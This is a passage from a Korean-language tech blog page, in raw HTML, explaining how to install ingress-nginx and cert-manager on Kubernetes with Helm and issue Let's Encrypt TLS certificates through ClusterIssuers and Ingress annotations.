      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/edf0839ec226ec19e14cd4c9a5a6ed93/64756/diagram-architecture.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACKElEQVR42iXR6W6jMBQFYB4hDUkTMGYJm7ENGLOanSRNm0QdTUfzY97/Sca00ifLi46O5KtsjGSL5y2ZT2xKxXsm7nYy7HB7iM9MPHj78JNZcysDCYiEGbUwbI2wAb5UKxuLqelN5XeQzGH1ETVPM10O8aixq1/courDza6QzpCMJp2gREaARxD1ulcrLzZX+XNf/9mRCba/jOKpkUWnF52eNXo+ksUuHuHw18nvRvomgeS6is9Ht1JUK9tiodLuFTVHVB/DRkcCoBZEHSQ9pINJRzMZzVTWDgbuDNzqUauHzfFUKqqd7avhMJwPVDjVxR7fQTYCNgA2GmwC6eD2T/T2derfjXyWR0mX4u7gFMrOzna43lNZ22io0yOpBaQzZG0sawfIJjObAfq+l51IaEgcg/rV5srRzuo8nQVDmJdl1bRNXok4a9Oi/0GTinFR1B3jZUArH5fSKSr3lgyfchzzJM3dSL6VERMRa8O0Q0zq5cbFZRA3OBs8UluoskKphEG5+w5XiHzR5J+DLoR/+vHTji4nfHVWFzs8++kjZJ9WsMBgMcN1lYA/qSZXNLcO8APHvx20EH4P4puDZidanHC2w8n0RxdfPHKF3mB4A/jhj7rXb9ewV2tRo2FhxD3kk1XMZj7b+Wxl8p9GI+112upErOORcL9H4sWrNhLkih40gLSAdmY6OvXFLs9ruFiccjH5mjf5CJNBzlyXQybDPmw2bqEGtWz+D8pkfwWGGtj7AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/edf0839ec226ec19e14cd4c9a5a6ed93/a1b3b/diagram-architecture.webp 215w,
/static/edf0839ec226ec19e14cd4c9a5a6ed93/fc700/diagram-architecture.webp 430w,
/static/edf0839ec226ec19e14cd4c9a5a6ed93/521f7/diagram-architecture.webp 860w,
/static/edf0839ec226ec19e14cd4c9a5a6ed93/cbd37/diagram-architecture.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/edf0839ec226ec19e14cd4c9a5a6ed93/f7886/diagram-architecture.png 215w,
/static/edf0839ec226ec19e14cd4c9a5a6ed93/bc750/diagram-architecture.png 430w,
/static/edf0839ec226ec19e14cd4c9a5a6ed93/3e3fe/diagram-architecture.png 860w,
/static/edf0839ec226ec19e14cd4c9a5a6ed93/64756/diagram-architecture.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/edf0839ec226ec19e14cd4c9a5a6ed93/3e3fe/diagram-architecture.png&apos; alt=&apos;HTTPS 트래픽 흐름 + cert-manager가 끼어드는 지점 — Internet → LB → Ingress → cert-manager Secret → Pod 4계층 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;HTTPS 트래픽 흐름 + cert-manager가 끼어드는 지점 — Internet → LB → Ingress → cert-manager Secret → Pod 4계층 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;nginx-ingress 설치 — 10분 컷&lt;/h2&gt;
&lt;p&gt;가장 널리 쓰이는 &lt;a href=&quot;https://kubernetes.github.io/ingress-nginx/&quot;&gt;ingress-nginx&lt;/a&gt;를 Helm으로 설치합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Helm 레포 추가&lt;/span&gt;
helm repo &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; ingress-nginx https://kubernetes.github.io/ingress-nginx
helm repo update

&lt;span class=&quot;token comment&quot;&gt;# 네임스페이스 + 설치 (LoadBalancer 타입 기본)&lt;/span&gt;
helm &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; ingress-nginx ingress-nginx/ingress-nginx &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--namespace&lt;/span&gt; ingress-nginx --create-namespace &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--set&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;controller.service.type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;LoadBalancer

&lt;span class=&quot;token comment&quot;&gt;# 외부 IP 할당 대기&lt;/span&gt;
kubectl get svc &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; ingress-nginx &lt;span class=&quot;token parameter variable&quot;&gt;--watch&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;LoadBalancer&lt;/strong&gt;가 &lt;code class=&quot;language-text&quot;&gt;Pending&lt;/code&gt;에서 실제 IP로 바뀌면 준비 완료. 이 IP가 앞으로 모든 Ingress의 진입점입니다.&lt;/p&gt;
&lt;h3&gt;IP 확보 후 DNS 레코드 설정&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 예시: Cloudflare·Route53·Namecheap 등에서
blog.javapark.kr   A   &amp;lt;LoadBalancer IP&gt;
api.javapark.kr    A   &amp;lt;LoadBalancer IP&gt;
*.dev.javapark.kr  A   &amp;lt;LoadBalancer IP&gt;   ← 와일드카드&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;모든 서브도메인을 같은 IP로 보내고, 분기는 Ingress가 처리.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;실전 팁:&lt;/strong&gt; 관리형 K8S(EKS·GKE·AKS)는 LoadBalancer 타입이 자동으로 클라우드 LB를 프로비저닝합니다. &lt;strong&gt;bare-metal이나 로컬(minikube·kind)에서는&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;MetalLB&lt;/code&gt;나 &lt;code class=&quot;language-text&quot;&gt;nodePort&lt;/code&gt; 방식으로 바꿔야 합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Ingress 기본 예제 — nginx 서비스 노출&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; networking.k8s.io/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Ingress
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;ingress
  &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; default
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;ingressClassName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx &lt;span class=&quot;token comment&quot;&gt;# ← Controller 지정&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;rules&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; blog.javapark.kr
      &lt;span class=&quot;token key atrule&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; /
            &lt;span class=&quot;token key atrule&quot;&gt;pathType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Prefix
            &lt;span class=&quot;token key atrule&quot;&gt;backend&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;svc
                &lt;span class=&quot;token key atrule&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                  &lt;span class=&quot;token key atrule&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 상태에선 &lt;code class=&quot;language-text&quot;&gt;http://blog.javapark.kr&lt;/code&gt;로 nginx에 접근 가능하지만 &lt;strong&gt;HTTPS는 아직 없습니다&lt;/strong&gt;. 여기서 cert-manager가 등장합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;cert-manager란? — 한 줄 정의&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://cert-manager.io/&quot;&gt;cert-manager&lt;/a&gt;는 &lt;strong&gt;K8S 클러스터 안에서 TLS 인증서 발급·갱신을 자동화&lt;/strong&gt;하는 컨트롤러입니다. CNCF Graduated 프로젝트, 사실상 K8S HTTPS 표준.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;인증서 발급&lt;/strong&gt;: Let&apos;s Encrypt·ZeroSSL·HashiCorp Vault·사설 CA 모두 지원&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자동 갱신&lt;/strong&gt;: 만료 30일 전에 자동으로 재발급&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Secret 교체&lt;/strong&gt;: 발급된 인증서를 K8S Secret으로 저장, Ingress가 자동 참조&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;핵심 CRD 3개:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CRD&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Issuer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;특정 네임스페이스 전용 발급자 선언&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ClusterIssuer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;클러스터 전체 공용&lt;/strong&gt; 발급자 — 보통 이걸 씀&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Certificate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&quot;이 도메인에 대한 인증서가 필요하다&quot;는 선언 (Ingress가 대신 만들어줌)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;cert-manager 설치&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Helm 레포 추가&lt;/span&gt;
helm repo &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; jetstack https://charts.jetstack.io
helm repo update

&lt;span class=&quot;token comment&quot;&gt;# 설치 (CRD 자동 설치 옵션)&lt;/span&gt;
helm &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; cert-manager jetstack/cert-manager &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--namespace&lt;/span&gt; cert-manager --create-namespace &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--set&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;installCRDs&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;true

&lt;span class=&quot;token comment&quot;&gt;# 확인&lt;/span&gt;
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; cert-manager&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;세 개의 Pod(&lt;code class=&quot;language-text&quot;&gt;cert-manager&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;cert-manager-webhook&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;cert-manager-cainjector&lt;/code&gt;)가 모두 &lt;code class=&quot;language-text&quot;&gt;Running&lt;/code&gt;이면 준비 완료.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ClusterIssuer 만들기 — Let&apos;s Encrypt&lt;/h2&gt;
&lt;h3&gt;1) Staging 먼저 (테스트용)&lt;/h3&gt;
&lt;p&gt;실전 발급 전 &lt;strong&gt;staging&lt;/strong&gt;으로 먼저 테스트하세요. 실수로 Let&apos;s Encrypt &lt;strong&gt;rate limit&lt;/strong&gt;(도메인당 주간 발급 제한)에 걸리면 일주일 동안 발급 불가합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cert&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manager.io/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ClusterIssuer
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;staging
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;acme&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//acme&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;staging&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;v02.api.letsencrypt.org/directory
    &lt;span class=&quot;token key atrule&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; you@example.com
    &lt;span class=&quot;token key atrule&quot;&gt;privateKeySecretRef&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;staging&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;account&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;key
    &lt;span class=&quot;token key atrule&quot;&gt;solvers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;http01&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;ingress&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2) Production (실제 발급용)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cert&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manager.io/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ClusterIssuer
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;acme&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//acme&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;v02.api.letsencrypt.org/directory
    &lt;span class=&quot;token key atrule&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; you@example.com
    &lt;span class=&quot;token key atrule&quot;&gt;privateKeySecretRef&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;account&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;key
    &lt;span class=&quot;token key atrule&quot;&gt;solvers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;http01&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;ingress&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;차이는 &lt;code class=&quot;language-text&quot;&gt;server&lt;/code&gt; URL만. 배포:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; clusterissuer-staging.yaml
kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; clusterissuer-prod.yaml

kubectl get clusterissuer
&lt;span class=&quot;token comment&quot;&gt;# NAME                  READY   AGE&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# letsencrypt-staging   True    10s&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# letsencrypt-prod      True    10s&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;실전 — Ingress에 HTTPS 자동 발급&lt;/h2&gt;
&lt;p&gt;Ingress에 &lt;strong&gt;annotation + tls 섹션만&lt;/strong&gt; 추가하면 끝.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; networking.k8s.io/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Ingress
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;ingress
  &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; default
  &lt;span class=&quot;token key atrule&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;cert-manager.io/cluster-issuer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod &lt;span class=&quot;token comment&quot;&gt;# 이 한 줄&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;ingressClassName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
  &lt;span class=&quot;token key atrule&quot;&gt;tls&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;hosts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; blog.javapark.kr
      &lt;span class=&quot;token key atrule&quot;&gt;secretName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; blog&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;tls &lt;span class=&quot;token comment&quot;&gt;# cert-manager가 여기에 저장&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;rules&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; blog.javapark.kr
      &lt;span class=&quot;token key atrule&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; /
            &lt;span class=&quot;token key atrule&quot;&gt;pathType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Prefix
            &lt;span class=&quot;token key atrule&quot;&gt;backend&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;svc
                &lt;span class=&quot;token key atrule&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                  &lt;span class=&quot;token key atrule&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/c2afcf812dc4f38d51cd241edb913209/64756/diagram-cert-flow.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACPUlEQVR42hWS6Y6bQBCEeYFV1uY0NhgwxzAn9+HBw2BsHEdRlER5/2fJrNQq9Z+vq0pq7fNA9slkXbogQQEsPVQGbGDDVo5vUN7J+M7rh33pvHT0wdUD3MtGNcdkcJNe2x3ZDkg75xnrUzpGeMjruef3YXpW3dIOP1j9igE/kduRTEGhVDj55MLpC957pVX9dNjzTFZK/1L2i5BVjKxvGSPNSDZO312xRuvbn7a4l97825X//NsfJxm0vV8YcDGhNDMegzWFW5iKoqyKqoakokhW5Ily6TfLqV1sNtnF/VC/LLZaUavpfqlnwsxV8jlIZJTdL0AiUmLWINrgfKboTqB02XSobk7BLTJbRJp4NqNGM861kc8mXBQcpksEniFYEK1x0SHaYigVjIA4MO6UN5tyEwuTLAaazaDWjKBRmS282FCG2RrlWwTumLak7DDrlDPOlxwIh12dklt0NJAwkdShMIJKU9EtJG2yHvA9BI8LfMXwQYqWVQNR5kCowhAqeLRLbrJxj266gnOh+n7BLl4OigciwdsFPs6pQGwApE9AhbFMsimKBxVb2eqoM+FkpHwX93uv+ILPePHVpbCL4epH0/HcpXkXpo0XIIhEnHL3VJyLmwP6j5B5VLrp9eNU7E5Mc5Ph1G0ef1ymVzy+oul7yLeMr1m/RNUtbdesXY/kqjx13O/ydp+1n2nzLa53LtGO6eBR4RXiXMqgkn41q91jQr2UC7mLrgc0mrA3QWdkrR43elTtgkLp/kj/A9FWfbpFBBBSAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/c2afcf812dc4f38d51cd241edb913209/a1b3b/diagram-cert-flow.webp 215w,
/static/c2afcf812dc4f38d51cd241edb913209/fc700/diagram-cert-flow.webp 430w,
/static/c2afcf812dc4f38d51cd241edb913209/521f7/diagram-cert-flow.webp 860w,
/static/c2afcf812dc4f38d51cd241edb913209/cbd37/diagram-cert-flow.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
